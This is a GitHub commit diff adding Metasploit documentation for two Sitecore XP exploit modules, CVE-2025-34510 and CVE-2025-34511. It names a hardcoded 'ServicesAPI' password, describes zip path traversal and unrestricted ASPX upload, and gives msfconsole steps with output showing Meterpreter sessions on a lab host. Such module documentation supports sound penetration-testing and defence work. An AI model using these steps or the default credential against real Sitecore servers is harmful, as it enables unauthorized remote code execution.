Skip to content

Commit a8e97e0

Browse files
msutovsky-r7msutovsky-r7
committed
Adds docs
1 parent 2533ddf commit a8e97e0

File tree

2 files changed

+73
-42
lines changed

2 files changed

+73
-42
lines changed

‎documentation/modules/exploit/windows/http/sitecore_xp_cve_2025_34510.md‎

Lines changed: 33 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -1,44 +1,53 @@
1-
The following is the recommended format for module documentation. But feel free to add more content/sections to this.
2-
One of the general ideas behind these documents is to help someone troubleshoot the module if it were to stop
3-
functioning in 5+ years, so giving links or specific examples can be VERY helpful.
4-
51
## Vulnerable Application
62

7-
Instructions to get the vulnerable application. If applicable, include links to the vulnerable install
8-
files, as well as instructions on installing/configuring the environment if it is different than a
9-
standard install. Much of this will come from the PR, and can be copy/pasted.
3+
The Sitecore Experience Platform (XP) is flagship CMS product. Provides comprehensive digital marketing tools, view of customer data and many other features. Sitecore deploys multiple default service accounts when installing, among them ServicesAPI. The versions from 10 to 10.4 have hardcoded password for this account - the password is letter b (CVE-2025-34509). This account is used to gain access and exploit additional vulnerability - path traversal in zip extraction (CVE-2025-34510). This module exploits both vulnerabilities to gain remote code execution by uploading malicious ASPX into root directory of webserver.
4+
5+
### Installation
6+
7+
The Sitecore XP can be downloaded from [here](https://developers.sitecore.com/downloads/Sitecore_Experience_Platform). Please note that a license is required for successful installation.
8+
109

1110
## Verification Steps
12-
Example steps in this format (is also in the PR):
1311

1412
1. Install the application
1513
1. Start msfconsole
16-
1. Do: `use [module path]`
14+
1. Do: `use exploit/windows/http/sitecore_xp_cve_2025_34510`
15+
1. Do: `set RHOSTS [Sitecore XP IP address]`
16+
1. Do: `set VHOST [Sitecore XP hostname]`
17+
1. Do: `set IDENTITY_VHOST [hostname of Sitecore XP identity server]`
18+
1. Do: `set LHOST [attacker IP]`
1719
1. Do: `run`
18-
1. You should get a shell.
1920

2021
## Options
21-
List each option and how to use it.
2222

23-
### Option Name
2423

25-
Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here.
24+
### VHOST
2625

27-
## Scenarios
28-
Specific demo of using the module that might be useful in a real world scenario.
26+
The hostname of Sitecore XP - when installed, Sitecore XP deploys multiple vhosts, among them is the Sitecore XP host, where a user can access majority of functions.
2927

30-
### Version and OS
3128

32-
```
33-
code or console output
34-
```
29+
### IDENTITY_VHOST
3530

36-
For example:
31+
The Sitecore XP uses separate vhost for "identity host", which is used when user is authenticating and asking for session data.
3732

38-
To do this specific thing, here's how you do it:
33+
## Scenarios
3934

4035
```
41-
msf > use module_name
42-
msf auxiliary(module_name) > set POWERLEVEL >9000
43-
msf auxiliary(module_name) > exploit
36+
msf exploit(windows/http/sitecore_xp_cve_2025_34510) > run verbose=true
37+
[*] Started reverse TCP handler on 192.168.3.7:4444
38+
[*] Running automatic check ("set AutoCheck false" to disable)
39+
[+] The target is vulnerable. Sitecore version detected 10.3.0, which is vulnerable
40+
[*] Sending stage (203846 bytes) to 10.5.132.138
41+
[*] Meterpreter session 2 opened (192.168.3.7:4444 -> 10.5.132.138:50530) at 2025-08-26 13:05:53 +0200
42+
43+
meterpreter > sysinfo
44+
Computer : WIN11_22H2_0800
45+
OS : Windows 11 22H2 (10.0 Build 22621).
46+
Architecture : x64
47+
System Language : en_US
48+
Domain : WORKGROUP
49+
Logged On Users : 2
50+
Meterpreter : x64/windows
51+
meterpreter > getuid
52+
Server username: IIS APPPOOL\sitecorepocsc.dev.local
4453
```

‎documentation/modules/exploit/windows/http/sitecore_xp_cve_2025_34511.md‎

Lines changed: 40 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -1,40 +1,62 @@
11
## Vulnerable Application
22

3+
The Sitecore Experience Platform (XP) is flagship CMS product. Provides comprehensive digital marketing tools, view of customer data and many other features. A user can install multiple extensions to Sitecore XP - among them is Sitecore PowerShell Extension (SPA). It is obligatory requirement for popular SXA add-on. The SPA is vulnerable to unrestricted file upload up to version 7.0. An attacker can upload malicious ASPX file and gain remote code execution.
4+
5+
36
### Installation
47

5-
The Sitecore Experience Platform (XP) is flagship CMS product. Provides comprehensive digital marketing tools, view of customer data and many other features.
8+
The Sitecore XP can be downloaded from [here](https://developers.sitecore.com/downloads/Sitecore_Experience_Platform). Please note that a license is required for successful installation.
9+
610

711
## Verification Steps
8-
Example steps in this format (is also in the PR):
912

1013
1. Install the application
1114
1. Start msfconsole
12-
1. Do: `use [module path]`
15+
1. Do: `use exploit/windows/http/sitecore_xp_cve_2025_34511`
16+
1. Do: `set RHOSTS [Sitecore XP IP address]`
17+
1. Do: `set VHOST [Sitecore XP hostname]`
18+
1. Do: `set IDENTITY_VHOST [hostname of Sitecore XP identity server]`
19+
1. Do: `set LHOST [attacker IP]`
1320
1. Do: `run`
14-
1. You should get a shell.
1521

1622
## Options
17-
List each option and how to use it.
1823

19-
### Option Name
2024

21-
Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here.
25+
### VHOST
2226

23-
## Scenarios
24-
Specific demo of using the module that might be useful in a real world scenario.
27+
The hostname of Sitecore XP - when installed, Sitecore XP deploys multiple vhosts, among them is the Sitecore XP host, where a user can access majority of functions.
2528

26-
### Version and OS
2729

28-
```
29-
code or console output
30-
```
30+
### IDENTITY_VHOST
31+
32+
The Sitecore XP uses separate vhost for "identity host", which is used when user is authenticating and asking for session data.
3133

32-
For example:
3334

34-
To do this specific thing, here's how you do it:
35+
## Scenarios
36+
3537

3638
```
37-
msf > use module_name
38-
msf auxiliary(module_name) > set POWERLEVEL >9000
39-
msf auxiliary(module_name) > exploit
39+
msf exploit(windows/http/sitecore_xp_cve_2025_34511) > set RHOSTS 10.5.132.138
40+
RHOSTS => 10.5.132.138
41+
msf exploit(windows/http/sitecore_xp_cve_2025_34511) > set VHOST sitecorepocsc.dev.local
42+
VHOST => sitecorepocsc.dev.local
43+
msf exploit(windows/http/sitecore_xp_cve_2025_34511) > set IDENTITY_VHOST sitecorepocidentityserver.dev.local
44+
IDENTITY_VHOST => sitecorepocidentityserver.dev.local
45+
msf exploit(windows/http/sitecore_xp_cve_2025_34511) > run verbose=true
46+
[*] Started reverse TCP handler on 192.168.3.7:4444
47+
[*] Running automatic check ("set AutoCheck false" to disable)
48+
[+] The target is vulnerable. Sitecore version detected 10.3.0, which is vulnerable
49+
[*] Sending stage (203846 bytes) to 10.5.132.138
50+
[*] Meterpreter session 1 opened (192.168.3.7:4444 -> 10.5.132.138:50194) at 2025-08-26 12:58:22 +0200
51+
52+
meterpreter > sysinfo
53+
Computer : WIN11_22H2_0800
54+
OS : Windows 11 22H2 (10.0 Build 22621).
55+
Architecture : x64
56+
System Language : en_US
57+
Domain : WORKGROUP
58+
Logged On Users : 2
59+
Meterpreter : x64/windows
60+
meterpreter > getuid
61+
Server username: IIS APPPOOL\sitecorepocsc.dev.local
4062
```

0 commit comments

Comments
 (0)